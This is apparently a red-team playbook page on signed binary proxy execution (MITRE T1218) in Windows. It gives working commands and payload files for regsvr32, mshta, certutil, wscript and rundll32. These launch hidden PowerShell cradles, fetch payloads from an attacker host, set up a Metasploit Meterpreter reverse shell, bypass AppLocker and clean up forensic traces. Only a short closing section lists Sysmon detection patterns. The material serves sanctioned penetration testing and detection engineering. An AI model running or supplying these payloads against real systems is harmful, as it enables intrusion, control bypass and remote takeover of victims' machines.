T1218: Signed Binary Proxy Execution
Covers: T1218.010 - Regsvr32, T1218.005 - Mshta, T1218.011 - Rundll32, T1105/T1140 - Certutil, T1216 - Wscript/Cscript
Technique Requirementsβ
| Privileges Required | User (most methods) / Administrator (some DLL-based methods) |
| Effective Permissions | Context of the invoking user |
| Employment Complexity | 2/5 - Low |
| Detection Complexity | 3/5 - Medium |
Backgroundβ
Signed Binary Proxy Execution uses trusted, Microsoft-signed Windows binaries to execute attacker-controlled code. Because these binaries are signed by Microsoft, they are inherently trusted by:
- Application whitelisting (AppLocker, WDAC) - policies often allowlist by publisher, so any Microsoft-signed binary passes
- Antivirus and EDR - the executing process (
regsvr32.exe,mshta.exe, etc.) is a known-good binary; suspicion must fall on behavior rather than the binary itself - Firewall rules - some solutions permit outbound connections from known system binaries
The attacker's malicious code (a script, DLL, or command) runs inside or launched by the trusted process, inheriting its reputation.
Why this matters operationally: These techniques are most useful in the following scenarios:
| Scenario | Best Method |
|---|---|
| AppLocker blocks PowerShell in Constrained Language Mode | regsvr32 SCT, mshta HTA, wscript VBS |
Need to download a file without PowerShell WebClient | certutil -urlcache |
| Need to encode/obfuscate a payload for transfer | certutil -encode / -decode |
| AV flags your PS cradle by signature | Wrap it via mshta inline VBScript or wscript |
Need execution that doesn't spawn powershell.exe | regsvr32 JScript, rundll32 JS, mshta VBScript |
Important: Many of these techniques are well-known and monitored. Their value is in bypassing preventive controls (AppLocker, whitelisting), not in evading mature EDR products. Assume that regsvr32 making an outbound HTTP connection, or mshta spawning a child process, will alert on any environment with decent detection. Use them when you need to get past application controls, not as a general-purpose stealth mechanism.
Method 1: regsvr32.exe - Remote Scriptlet Execution (Squiblydoo)β
ATT&CK: T1218.010
LOL binary: regsvr32.exe
Privileges required: User
Why it works: regsvr32 was designed to register/unregister COM DLLs. The /i flag passes an installation parameter to a DLL's DllInstall function. When scrobj.dll (the Windows Script Component runtime, present on every Windows install) is the target DLL, the /i parameter is treated as a URL to a .sct (scriptlet) file, which scrobj.dll downloads and executes. regsvr32 itself makes the network connection, so the outbound HTTP request originates from a signed Microsoft binary.
Setup (on Kali)β
-
Configure a Metasploit listener:
msfconsole -x "use exploit/multi/script/web_delivery;
set SRVHOST 0.0.0.0;
set SRVPORT 8443;
set SSL true;
set target 2;
set payload windows/x64/meterpreter/reverse_https;
set LHOST 0.0.0.0;
set LPORT 443;
run -j;"Copy the generated PowerShell one-liner and clean it up (replace
0.0.0.0with your IP, swap quote styles). This becomes<PS_CRADLE>below. -
Create the SCT scriptlet file:
cat > /var/www/html/payload.sct << 'EOF'
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortcutNotification"
classid="{AAAA0000-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run(
"powershell -nop -w 1 -c <PS_CRADLE>", 0, false
);
]]>
</script>
</registration>
</scriptlet>
EOFReplace
<PS_CRADLE>with your cleaned-up Metasploit PowerShell command. Special characters inside the CDATA block do not need escaping beyond XML's own rules - avoid using&or<directly in the command string; use encoded equivalents or restructure the command if needed. -
Serve the file:
# Apache (if running):
# File is already in /var/www/html/
# Or simple Python server:
python3 -m http.server 80
Execution (on victim)β
regsvr32 /s /n /u /i:http://<ATTACKER_IP>/payload.sct scrobj.dll
| Flag | Meaning |
|---|---|
/s | Silent - suppress success/failure dialog boxes |
/n | Do not call DllRegisterServer |
/u | Unregister mode (passes control to DllUninstall / DllInstall) |
/i:<URL> | Parameter passed to DllInstall - the scriptlet URL |
Over HTTPS (preferred - hides scriptlet content from network monitoring):
regsvr32 /s /n /u /i:https://<ATTACKER_IP>/payload.sct scrobj.dll
Method 2: mshta.exe - HTML Application Executionβ
ATT&CK: T1218.005
LOL binary: mshta.exe
Privileges required: User
Why it works: mshta.exe (Microsoft HTML Application Host) is designed to run .hta files - standalone HTML applications with access to the full Windows Script Host object model. Unlike browser-rendered HTML, HTA files run outside the browser security sandbox with the full privileges of the invoking user. mshta accepts both file paths and URLs as arguments.
Option A: Remote HTA Fileβ
-
Create the HTA payload on Kali:
cat > /var/www/html/payload.hta << 'EOF'
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -w 1 -c <PS_CRADLE>", 0, True
window.close()
</script>
</head>
<body></body>
</html>
EOF -
Execute on victim:
mshta http://<ATTACKER_IP>/payload.hta
Option B: Inline VBScript (no file needed)β
Execute entirely in-memory with no file hosted:
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -nop -w 1 -c <PS_CRADLE>"",0,True:close")
Inner quotes inside the vbscript: argument must be doubled ("") to escape them within the VBScript string context. If your PS cradle contains double quotes, base64-encode it first and use -EncodedCommand to avoid quoting issues:
# On Kali - pre-encode the cradle:
echo -n '<PS_CRADLE>' | iconv -t UTF-16LE | base64 -w 0
# Paste the output as <B64_ENCODED_CRADLE> below
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -nop -w 1 -ec <B64_ENCODED_CRADLE>"",0,True:close")
Method 3: certutil.exe - File Download and Payload Encodingβ
ATT&CK: T1105 (Ingress Tool Transfer), T1140 (Deobfuscate/Decode)
LOL binary: certutil.exe
Privileges required: User
Why it works: certutil is the Windows certificate management utility. It includes URL caching functionality (-urlcache) for fetching certificate revocation lists - functionality that can be abused to download arbitrary files. It also supports base64 encoding and decoding natively, which is useful for transferring binaries through channels that only accept text.
Downloading a Fileβ
certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.exe C:\Windows\Temp\payload.exe
| Flag | Meaning |
|---|---|
-urlcache | Operate on the URL cache |
-split | Split embedded ASN.1 elements and save to files |
-f | Force fetch, bypassing the cache |
certutil leaves entries in the URL cache at %APPDATA%\Microsoft\CryptnetUrlCache\. Clean up after use:
certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.exe delete
Or clear the entire URL cache:
certutil -urlcache * delete
Encoding a Payload for Transfer (bypass content inspection)β
If a transfer channel strips or blocks binary content, encode the payload as base64 first:
# On Kali - encode:
certutil -encode payload.exe payload.b64
# Or with base64 directly:
base64 payload.exe > payload.b64
# On victim - decode back to binary:
certutil -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\payload.exe
Chained Example: Download and Decode in Two Stepsβ
certutil -urlcache -split -f http://<ATTACKER_IP>:8080/payload.b64 C:\Windows\Temp\payload.b64
certutil -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe
Method 4: wscript.exe / cscript.exe - Script File Executionβ
ATT&CK: T1216
LOL binaries: wscript.exe (GUI host), cscript.exe (console host)
Privileges required: User
Why it works: The Windows Script Host processes execute VBScript (.vbs) and JScript (.js) files natively. They accept both local file paths and UNC paths as arguments, meaning the script file can be hosted on an attacker-controlled SMB share and never land on the victim's local filesystem.
VBScript Payloadβ
-
Create the script on Kali:
cat > payload.vbs << 'EOF'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -w 1 -c <PS_CRADLE>", 0, False
EOF -
Execute - from local file:
wscript.exe C:\Windows\Temp\payload.vbs
# Silent (suppress WSH error dialogs):
wscript.exe //B C:\Windows\Temp\payload.vbs -
Execute - directly from a UNC path (file never touches victim disk):
noteThis requires the victim to have network access to your SMB share. If you have an existing authenticated SMB session (
net use) established from the lateral movement phase, you can reuse it here.# On Kali - start a quick Impacket SMB share:
impacket-smbserver share /tmp/payloads -smb2support# On victim:
wscript.exe \\<ATTACKER_IP>\share\payload.vbs
JScript Payloadβ
cat > payload.js << 'EOF'
var objShell = new ActiveXObject("WScript.Shell");
objShell.Run("powershell -nop -w 1 -c <PS_CRADLE>", 0, false);
EOF
wscript.exe C:\Windows\Temp\payload.js
Method 5: rundll32.exe - Inline JavaScript Executionβ
ATT&CK: T1218.011
LOL binary: rundll32.exe
Privileges required: User
Why it works: rundll32 can invoke the RunHTMLApplication export of mshtml.dll, which initialises an HTA execution context inline. A JavaScript url: protocol handler can then be passed directly on the command line, executing arbitrary script without any file on disk.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -w 1 -c <PS_CRADLE>",0,true);
URL-encode spaces as %20 within the javascript: URI. The document.write() call initializes the HTA document context; omitting it causes the script engine to fail silently on some Windows versions. This technique may not work on Windows 11 22H2+ where mshtml is not loaded by default on systems without Internet Explorer.
Comparison and Selection Guideβ
| Method | File on Disk | Network Connection | Spawns powershell.exe? | AppLocker Bypass | Notes |
|---|---|---|---|---|---|
regsvr32 SCT | No (remote SCT) | Yes - regsvr32 β HTTP | Yes (child) | Yes | Very well-known; high detection rate on mature EDR |
mshta remote HTA | No | Yes - mshta β HTTP | Yes (child) | Yes | Commonly blocked in enterprise environments |
mshta inline VBScript | No | No | Yes (child) | Yes | No network call; more evasive |
certutil download | Yes | Yes - certutil β HTTP | No | N/A - used for staging only | Leaves URL cache entries; clean up |
wscript local file | Yes | No | Yes (child) | Depends on policy | Simple; less monitored than regsvr32/mshta |
wscript UNC path | No (SMB share) | Yes - SMB | Yes (child) | Yes | Requires SMB reachability to attacker |
rundll32 inline JS | No | No | Yes (child) | Yes | Fragile on newer Windows versions |
General guidance:
- If you need to bypass AppLocker and have network access to your listener:
regsvr32ormshtaremote - If you need to avoid a network call for the execution itself:
mshtainline orwscript/rundll32after staging the PS cradle viacertutil - If you just need to move a binary to the target without
WebClient:certutil -urlcache - If
powershell.exeitself is blocked or heavily monitored: chaincertutildownload β execute the binary directly, bypassing PS entirely
What to Expectβ
Each method ultimately executes your PowerShell cradle (or a binary payload), which beacons back to your listener. The session arrives as normal:
msf6 exploit(multi/handler) > [*] Sending stage (201798 bytes) to 192.168.1.100
[*] Meterpreter session 2 opened (0.0.0.0:443 -> 192.168.1.100:52017) at 2026-03-21 15:44:09
The key observable difference from a direct powershell.exe invocation is the process tree. In a normal execution your shell spawns powershell.exe directly. With signed binary proxy execution, the tree looks like:
explorer.exe
βββ regsvr32.exe β signed Microsoft binary
βββ powershell.exe β your cradle
βββ [shellcode injected, no child process]
Or for mshta:
explorer.exe
βββ mshta.exe β signed Microsoft binary
βββ powershell.exe β your cradle
This parent-child relationship is still detectable by EDR (spawning powershell.exe from mshta.exe or regsvr32.exe is a high-fidelity detection rule in most products), but it bypasses preventive controls that only look at the binary being executed, not its lineage.
Log Detectionβ
- Source:
Microsoft-Windows-Sysmon/Operational- EventID:
1(ProcessCreate)regsvr32.exewith/i:httpin command linemshta.exewith a URL argument orvbscript:prefixcertutil.exewith-urlcacheor-decodeargumentswscript.exeorcscript.exewith.vbs/.jsarguments, especially UNC pathsrundll32.exewithjavascript:in command line- Any of the above spawning
powershell.exeas a child process
- EventID:
3(NetworkConnect)- Outbound HTTP/HTTPS connections from
regsvr32.exe,mshta.exe, orcertutil.exe- these binaries have no legitimate reason to make outbound connections in most enterprise environments
- Outbound HTTP/HTTPS connections from
- EventID:
7(ImageLoad)scrobj.dllloaded byregsvr32.exejscript.dllorvbscript.dllloaded byrundll32.exe
- EventID:
- Source:
Security- EventID:
4688(Process creation - with command line auditing)- Same patterns as Sysmon EventID 1 above
- EventID: